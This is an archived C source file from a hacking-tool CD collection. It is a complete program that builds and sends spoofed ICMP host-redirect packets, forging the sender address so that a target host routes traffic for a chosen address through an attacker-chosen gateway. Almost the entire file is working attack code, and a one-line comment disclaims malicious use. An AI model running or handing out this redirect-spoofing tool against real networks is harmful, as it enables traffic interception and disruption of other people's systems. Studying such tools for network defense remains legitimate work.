home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / redirect.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  6.5 KB  |  203 lines

  1. /*
  2.  * generic ICMP redirect sender - tested on Solaris 2.5 (sparc)
  3.  * compile with cc -o red red.c -lsocket -lnsl  
  4.  * 
  5.  * Mark Henderson <mch@squirrel.com>  - feb 1997
  6.  * 
  7.  * usage: red sendto sendfrom redir_addr gw 
  8.  * where: 
  9.  *   sendto is the address or hostname of the machine to send the redirect to 
  10.  *   sendfrom is the hostname/IP address that the packet should appear to 
  11.  *        come from 
  12.  *   redir_addr is the hostname/IP address to redirect packets for 
  13.  *   gw is the hostname/IP address of the new gateway for redir_addr
  14.  * 
  15.  * I wrote this for testing purposes. Please don't use it to attack machines or
  16.  * disrupt services.
  17.  * 
  18.  * Portions of this code are Copyright (c) 1989, 1993 The Regents of the
  19.  * University of California.  All rights reserved.
  20.  * 
  21.  * This code is derived from software contributed to Berkeley by Mike Muuss.
  22.  * 
  23.  * Redistribution and use in source and binary forms, with or without
  24.  * modification, are permitted provided that the following conditions are
  25.  * met: 1. Redistributions of source code must retain the above copyright
  26.  * notice, this list of conditions and the following disclaimer. 2.
  27.  * Redistributions in binary form must reproduce the above copyright notice,
  28.  * this list of conditions and the following disclaimer in the documentation
  29.  * and/or other materials provided with the distribution. 3. All advertising
  30.  * materials mentioning features or use of this software must display the
  31.  * following acknowledgement: This product includes software developed by the
  32.  * University of California, Berkeley and its contributors. 4. Neither the
  33.  * name of the University nor the names of its contributors may be used to
  34.  * endorse or promote products derived from this software without specific
  35.  * prior written permission.
  36.  * 
  37.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
  38.  * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  39.  * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  40.  * DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR
  41.  * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  42.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
  43.  * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
  44.  * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  45.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  46.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  47.  * SUCH DAMAGE.
  48.  */
  49.  
  50. #include <stdio.h>
  51. #include <sys/types.h>
  52. #include <sys/socket.h>
  53. #include <netdb.h>
  54. #include <netinet/in.h>
  55. #include <netinet/in_systm.h>
  56. #include <netinet/ip.h>
  57. #include <netinet/ip_icmp.h>
  58.  
  59. int
  60. main (int argc, char **argv)
  61. {
  62.   int s;
  63.   char buf[100];
  64.   struct ip *ip = (struct ip *) buf;
  65.   struct icmp *icmp = (struct icmp *) (ip + 1);
  66.   struct hostent *hp;
  67.   struct sockaddr_in dst;
  68.   int offset;
  69.   int on = 1;
  70.  
  71.   bzero (buf, sizeof buf);
  72.  
  73.   if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_IP)) < 0)
  74.     {
  75.       perror ("socket");
  76.       exit (1);
  77.     }
  78. #ifdef IP_HDRINCL
  79.   if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
  80.     {
  81.       perror ("IP_HDRINCL");
  82.       exit (1);
  83.     }
  84. #endif
  85.   if (argc != 5)
  86.     {
  87.       fprintf (stderr, "usage: %s sendto sendfrom redir_addr gw\n", argv[0]);
  88.       exit (1);
  89.     }
  90.   if ((hp = gethostbyname (argv[1])) == NULL)
  91.     {
  92.       if ((ip->ip_dst.s_addr = inet_addr (argv[1])) == -1)
  93.         {
  94.           fprintf (stderr, "%s: unknown host\n", argv[1]);
  95.         }
  96.     }
  97.   else
  98.     {
  99.       bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  100.     }
  101.   if ((hp = gethostbyname (argv[2])) == NULL)
  102.     {
  103.       if ((ip->ip_src.s_addr = inet_addr (argv[2])) == -1)
  104.         {
  105.           fprintf (stderr, "%s: unknown host\n", argv[2]);
  106.         }
  107.     }
  108.   else
  109.     {
  110.       bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
  111.     }
  112.   if ((hp = gethostbyname (argv[3])) == NULL)
  113.     {
  114.       if ((icmp->icmp_ip.ip_dst.s_addr = inet_addr (argv[3])) == -1)
  115.         {
  116.           fprintf (stderr, "%s: unknown host\n", argv[3]);
  117.         }
  118.     }
  119.   else
  120.     {
  121.       bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length);
  122.     }
  123.   if ((hp = gethostbyname (argv[4])) == NULL)
  124.     {
  125.       if ((icmp->icmp_gwaddr.s_addr = inet_addr (argv[4])) == -1)
  126.         {
  127.           fprintf (stderr, "%s: unknown host\n", argv[4]);
  128.         }
  129.     }
  130.   else
  131.     {
  132.       bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length);
  133.     }
  134.   printf ("Sending to %s\n", inet_ntoa (ip->ip_dst));
  135.   ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0;
  136.   ip->ip_len = htons (sizeof buf); ip->ip_id = htons (4321);
  137.   ip->ip_off = 0; ip->ip_ttl = 255; ip->ip_p = 1;
  138.   ip->ip_sum = 0;               /* kernel fills this in */
  139.  
  140.   bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof (ip->ip_dst.s_addr));
  141.   icmp->icmp_ip.ip_v = 4;
  142.   icmp->icmp_ip.ip_hl = sizeof *ip >> 2;
  143.   icmp->icmp_ip.ip_tos = 0;
  144.   icmp->icmp_ip.ip_len = htons (100);   /* doesn't matter much */
  145.   icmp->icmp_ip.ip_id = htons (3722);
  146.   icmp->icmp_ip.ip_off = 0;
  147.   icmp->icmp_ip.ip_ttl = 254;
  148.   icmp->icmp_ip.ip_p = 1;
  149.   icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip);
  150.  
  151.   dst.sin_addr = ip->ip_dst;
  152.   dst.sin_family = AF_INET;
  153.  
  154.   icmp->icmp_type = ICMP_REDIRECT;
  155.   icmp->icmp_code = 1; /* host redirect */
  156.  
  157.   icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof (*ip));
  158.  
  159.   if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
  160.               sizeof dst) < 0)
  161.     {
  162.       perror ("sendto");
  163.       exit (1);
  164.     }
  165.   exit (0);
  166. }
  167. /*
  168.  * in_cksum -- Checksum routine for Internet Protocol family headers (C
  169.  * Version) - code from 4.4 BSD
  170.  */
  171. in_cksum (addr, len)
  172.      u_short *addr;
  173.      int len;
  174. {
  175.   register int nleft = len;
  176.   register u_short *w = addr;
  177.   register int sum = 0;
  178.   u_short answer = 0;
  179.  
  180.   /*
  181.    * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  182.    * sequential 16 bit words to it, and at the end, fold back all the
  183.    * carry bits from the top 16 bits into the lower 16 bits.
  184.    */
  185.   while (nleft > 1)
  186.     {
  187.       sum += *w++;
  188.       nleft -= 2;
  189.     }
  190.  
  191.   /* mop up an odd byte, if necessary */
  192.   if (nleft == 1)
  193.     {
  194.       *(u_char *) (&answer) = *(u_char *) w;
  195.       sum += answer;
  196.     }
  197.   /* add back carry outs from top 16 bits to low 16 bits */
  198.   sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  199.   sum += (sum >> 16);           /* add carry */
  200.   answer = ~sum;                /* truncate to 16 bits */
  201.   return (answer);
  202. }
  203.